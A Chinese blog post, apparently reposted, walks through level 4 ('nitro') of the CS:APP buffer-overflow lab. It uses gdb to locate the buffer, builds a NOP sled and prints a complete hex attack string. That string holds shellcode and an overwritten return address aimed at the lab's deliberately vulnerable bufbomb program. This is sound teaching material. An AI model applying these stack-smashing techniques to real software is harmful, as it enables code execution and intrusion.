
解决思路就是:
用assembly instruction —— nop (machine code:90)填充我们的Input string。
这样一来在必定范围内无论在那里处于我们的伤害程序执行指令最终就会滑至我们的攻击方程;虽然ebp的值经常变化,无法直接赋值,但是在getbufn()程序中 ebp和esp值差是一定的借助gdp查找我们可以查到这种的关系,比如我这里是相差0x28;通过空input运行主程序发现五次input string的存储位置在0x556831d8 到0x556832c8之间,因此即使我们将第一次ret address 定为最高的0x556832c8那么就可以确保五次运行执行命令都不会在运行攻击程序之前遇到除nop(90)之外的其它指令。
bufbomb在5次调用testn()和getbufn()的过程中,两个函数的栈是连续的,在testn()汇编代码开头有

可知%esp=%ebp-4-0x24,即 %ebp = %esp + 0x28。
其中,getbufn执行ret前的leave指令尚未正确地恢复%esp(leave等价于 mov %ebp,%esp; pop %ebp,我们的字符串无法覆盖%ebp,%esp寄存器,%esp是从寄存器%ebp里来的,因此是恰当的)。
这里构造攻击指令nitro.s如下:

对其进行编译,然后反汇编得到机器码:

可是我们还不知道返回地址应该用哪个来填充。字符串首地址是变化的,虽然可以借助%esp间接求出,但在程序跳转到我们的代码之前,我们能够得知%esp的值究竟是多少(原来可以用gdb调试出来,但目前不行了)。幸好getbufn给的栈空间巨大,我们可以运用nop slide技术,先使程序返回到一个我们大概猜测的地址,在这个地址以及附近的一大片区域里我们用nop指令(机器码为0x90)填充,CPU执行nop指令时除了程序计数器PC自加,别的哪些也不做。把我们的代码放到这片区域的高位地址处,程序一路执行nop,就像滑行一样,一路滑到我们的代码才真正开始执行。我们可以运用gdb调试找到这个字符串开始的大概区域。
查看getbufn()汇编代码,有:

得知写入字符串的首地址为-0x208(%ebp),而返回地址位于0x4(%ebp),因此我们需填充0x4 - (-0x208) = 0x20c = 524个字节的数组,再写4个字节覆盖getbufn()的返回地址。
使用gdb调试发现5次getbufn循环里面,缓冲区首地址情况如下:
➜ ~/buflab-handout git:(master) ✗ ➤ gdb bufbomb
……
Reading symbols from bufbomb...(no debugging symbols found)...done.
(gdb) b *0x080490be
Breakpoint 1 at 0x80490be
(gdb) r -n -u U201315075
Starting program: /home/zhwhong/buflab-handout/bufbomb -n -u U201315075
Userid: U201315075
Cookie: 0x2d8f0526
Breakpoint 1, 0x080490be in getbufn ()
(gdb) p /x $ebp-0x208
$1 = 0x55683258
(gdb) c
Breakpoint 1, 0x080490be in getbufn ()
(gdb) p /x $ebp-0x208
$2 = 0x556832c8
(gdb) c
Breakpoint 1, 0x080490be in getbufn ()
(gdb) p /x $ebp-0x208
$3 = 0x556831e8
(gdb) c
Breakpoint 1, 0x080490be in getbufn ()
(gdb) p /x $ebp-0x208
$4 = 0x556831d8
(gdb) c
Breakpoint 1, 0x080490be in getbufn ()
(gdb) p /x $ebp-0x208
$5 = 0x55683258
(gdb) c
[Inferior 1 (process 9333) exited normally]
由gdb调试结果推测五次input string的存储位置在0x556831d8 到0x556832c8之间缓冲区溢出攻击,因此即使我们将第一次ret address 定为最高的0x556832c8,那么就可以确保五次运行执行命令都不会在运行攻击程序之前遇到除nop(90)之外的其它指令。(其实返回地址只要不小于0x556832c8即可,这里就取0x556832c8 (c8 32 68 55)吧。)
构造攻击字符串nitro_U201315075.txt如下:
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 b8
26 05 8f 2d 8d 6c 24 28 68 42
8d 04 08 c3 c8 32 68 55
最后执行测试结果如下:

注:需要切记的是因为在Nitro模式下主程序需要读五次input以满足执行五次的还要,因此在执行./hex2raw程序时请注意添加 -n flag以保证input string 被复制五次每次以\n结尾以结束每次的gets()函数调用。
至此,level4任务nitro通过!
(注:感谢您的阅读,希望本文对您有所帮助。如果认为不错欢迎分享转载,但请先点击 这里 获取授权。本文由 版权印 提供保护,禁止任何手段的未授权违规转载,谢谢!)
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-144398-2.html